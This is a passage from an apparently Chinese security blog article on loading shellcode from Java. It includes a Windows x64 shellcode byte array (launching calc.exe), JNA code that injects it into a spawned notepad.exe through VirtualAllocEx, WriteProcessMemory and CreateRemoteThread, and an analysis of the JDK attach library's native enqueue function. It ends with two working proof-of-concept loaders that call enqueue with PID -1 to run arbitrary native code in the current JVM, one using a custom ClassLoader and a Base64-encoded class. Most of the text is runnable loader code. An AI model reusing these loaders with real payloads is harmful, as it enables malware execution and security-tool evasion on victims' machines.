(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
int shellcodelength = shellcode.length;
String targetProcess = "C:\Windows\System32\notepad.exe";
WinBase.STARTUPINFO startupinfo = new WinBase.STARTUPINFO();
WinBase.PROCESS_INFORMATION process_information = new WinBase.PROCESS_INFORMATION();
//利用instance.CreateProcess创建进程,会一直存在找不到程序的报错,所以利用kernel32.CreateProcess
boolean bProcess = kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, startupinfo, process_information);
if (!bProcess){
System.out.println("CreateProcess Failed!");
return;
}
WinNT.HANDLE hProcess = process_information.hProcess;
Pointer pointer = instance.VirtualAllocEx(hProcess, Pointer.createConstant(0), shellcodelength, 4096, 64);
Memory memory = new Memory((long) shellcodelength);
for (int j = 0; j < shellcodelength; ++j) {
memory.setByte((long) j, shellcode[j]);
}
boolean bWriteProcess = instance.WriteProcessMemory(hProcess, pointer, memory, shellcodelength, new IntByReference());
if (!bWriteProcess){
System.out.println("WriteProcessMemory Failed!");
return;
}
WinNT.HANDLE handle = instance.CreateRemoteThread(hProcess, null, shellcodelength, pointer, null, 0, null);
}
}
0x03 基于JDK自带的Native方法
其实这个方法只要你将向JVM attach agent的整个流程进行分析,就可以发现了。就拿Windows平台举个例子:
Attach底层流程分析
分析对指定JVM pid进行ATTACH操作:
sun/tools/attach/AttachProviderImpl.java#attachVirtualMachine
方法中可以看到经过一些基本的检测后,实例化VirtualMachineImpl
类
在实例化过程中,首先会执行如下静态代码块,可以了解程序加载了attach.dll
,同时生成stub(generateStub)。
同时在实例化的过程中,会打开我们指定的JVM进程,然后调用Native方法:enqueue
方法。
而后就是loadAgent的操作了,分析看看:
sun/tools/attach/HotSpotVirtualMachine.java#loadAgentLibrary
跟进sun/tools/attach/VirtualMachineImpl.java#execute
方法,可以发现与JVM创建管道通信后,又调用*enqueue*
方法将对JVM的指令压入执行队列中。
从上面的分析,我们可以明白在整个ATTACH过程中,有个关键的函数:enqueue,它是Native函数,具体的底层实现逻辑,需要下载jdk源码进行查看。
来看看enqueue函数对应的jdk/src/jdk.attach/windows/native/libattach/VirtualMachineImpl.c#Java_sun_tools_attach_VirtualMachineImpl_enqueue
:
你会发现如下的函数实际上和我们在写线程注入shellcode的逻辑是一模一样的:
向JVM进程申请空间(VirtualAllocEx)
向申请的空间写入数据(WriteProcessMemory)
在JVM进程中创建新的线程执行code(CreateRemoteThread)
其中stub就是要执行的code。
/*
* Class: sun_tools_attach_VirtualMachineImpl
* Method: enqueue
* Signature: (JZLjava/lang/String;[Ljava/lang/Object;)V
*/
JNIEXPORT void JNICALL Java_sun_tools_attach_VirtualMachineImpl_enqueue
(JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
jstring pipename, jobjectArray args)
{
DataBlock data;
DataBlock* pData;
DWORD* pCode;
DWORD stubLen;
HANDLE hProcess, hThread;
jint argsLen, i;
jbyte* stubCode;
jboolean isCopy;
/*
* Setup data to copy to target process
*/
memset(&data, 0, sizeof(data));
data._GetModuleHandle = _GetModuleHandle;
data._GetProcAddress = _GetProcAddress;
strcpy(data.jvmLib, "jvm");
strcpy(data.func1, "JVM_EnqueueOperation");
strcpy(data.func2, "_JVM_EnqueueOperation@20");
/*
* Command and arguments
*/
jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);
argsLen = (*env)->GetArrayLength(env, args);
if (argsLen > 0) {
if (argsLen > MAX_ARGS) {
JNU_ThrowInternalError(env, "Too many arguments");
return;
}
for (i=0; i<argsLen; i++) {
jobject obj = (*env)->GetObjectArrayElement(env, args, i);
if (obj == NULL) {
data.arg[i][0] = ' ';
} else {
jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);
}
if ((*env)->ExceptionOccurred(env)) return;
}
}
for (i = argsLen; i < MAX_ARGS; i++) {
data.arg[i][0] = ' ';
}
/* pipe name */
jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);
/*
* Allocate memory in target process for data and code stub
* (assumed aligned and matches architecture of target process)
*/
hProcess = (HANDLE)handle;
pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );
if (pData == NULL) {
JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
return;
}
WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );
stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);
if ((*env)->ExceptionOccurred(env)) return;
pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if (pCode == NULL) {
JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
(*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
return;
}
WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
(*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
/*
* Create thread in target process to execute code
*/
hThread = CreateRemoteThread( hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE) pCode,
pData,
0,
NULL );
if (hThread != NULL) {
if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {
JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");
} else {
DWORD exitCode;
GetExitCodeThread(hThread, &exitCode);
if (exitCode) {
switch (exitCode) {
case ERR_OPEN_JVM_FAIL :
JNU_ThrowIOException(env,
"jvm.dll not loaded by target process");
break;
case ERR_GET_ENQUEUE_FUNC_FAIL :
JNU_ThrowIOException(env,
"Unable to enqueue operation: the target VM does not support attach mechanism");
break;
default : {
char errmsg[128];
sprintf(errmsg, "Remote thread failed for unknown reason (%d)", exitCode);
JNU_ThrowInternalError(env, errmsg);
}
}
}
}
CloseHandle(hThread);
} else {
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) {
//
// This error will occur when attaching to a process belonging to
// another terminal session. See "Remarks":
// http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx
//
JNU_ThrowIOException(env,
"Insufficient memory or insufficient privileges to attach");
} else {
JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");
}
}
VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
}
因此收获另一种java加载shellcode的姿势:加载attach.dll
,调用Native函数enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object ... args)
,控制stub
参数即可。
实现加载shellcode
需要注意的是,当注入进程的PID设置为-1的时候,可以往当前Java进程注入任意Native代码,以实现不用JNI执行任意Native代码的效果。
package org.example;
import java.io.IOException;
import java.lang.reflect.Method;
public class Main {
static{
System.loadLibrary("attach");
}
public static void main(String[] args) {
byte buf[] = new byte[]
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
try {
Class<?> aClass = Class.forName("sun.tools.attach.VirtualMachineImpl");
Method enqueue = aClass.getDeclaredMethod("enqueue",long.class,byte[].class,String.class,String.class,Object[].class);
enqueue.setAccessible(true);
enqueue.invoke(aClass,new Object[]{-1,buf,"test","test",new Object[]{}});
} catch (Exception var2) {
var2.printStackTrace();
}
}
}
成功执行,其实上面的执行demo还是不保险的,因为attach.dll
是 JDK和Server-jre默认自带的。但是这个sun.tools.attach.VirtualMachineImpl
类所在的tools.jar包并不是每个JDK环境都有的。
但是我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名我们可以任意自定义,重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因。
把这个类编译成class文件,然后用Base64编码,然后写到如下POC里:
package sun.tools.attach;
import java.io.IOException;
public class VirtualMachineImpl {
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object ... args) throws IOException;
static {
System.loadLibrary("attach");
}
public static void run(byte[] buf){
try {
enqueue(-1,buf,"","",new Object[]{});
}catch (Exception e){
e.printStackTrace();
}
}
}
POC:
package org.example;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
public class Main {
public static class MyClassloader extends ClassLoader //继承ClassLoader
{
public Class getClass(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
byte buf[] = new byte[]
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
try {
String classBase64 = "yv66vgAAADsAKQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWBf//////////CAAKAQAACgAMAA0HAA4MAA8AEAEAI3N1bi90b29scy9hdHRhY2gvVmlydHVhbE1hY2hpbmVJbXBsAQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYHABIBABNqYXZhL2xhbmcvRXhjZXB0aW9uCgARABQMABUABgEAD3ByaW50U3RhY2tUcmFjZQgAFwEABmF0dGFjaAoAGQAaBwAbDAAcAB0BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAIgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAANydW4BAAUoW0IpVgEADVN0YWNrTWFwVGFibGUBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBABdWaXJ0dWFsTWFjaGluZUltcGwuamF2YQAhAAwAAgAAAAAABAABAAUABgABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAUBiAAPABAAAQAgAAAABAABACEACQAjACQAAQAeAAAAVQAGAAIAAAAYFAAHKhIJEgkDvQACuAALpwAITCu2ABOxAAEAAAAPABIAEQACAB8AAAAWAAUAAAANAA8AEAASAA4AEwAPABcAEQAlAAAABwACUgcAEQQACAAmAAYAAQAeAAAAIgABAAAAAAAGEha4ABixAAAAAQAfAAAACgACAAAACQAFAAoAAQAnAAAAAgAo";
Class result = new MyClassloader().getClass(Base64.getDecoder().decode(classBase64));
Method run = result.getDeclaredMethod("run",byte[].class);
Object invoke = run.invoke(result, buf);
} catch (Exception var2) {
var2.printStackTrace();
}
}
}
0x04 参考链接
https://tttang.com/archive/1622/#toc__1
https://github.com/yzddmr6/Java-Shellcode-Loader
https://paper.seebug.org/1678/#java
原文始发于微信公众号(SecurityBooks):JAVA加载DLL或Shellcode方法学习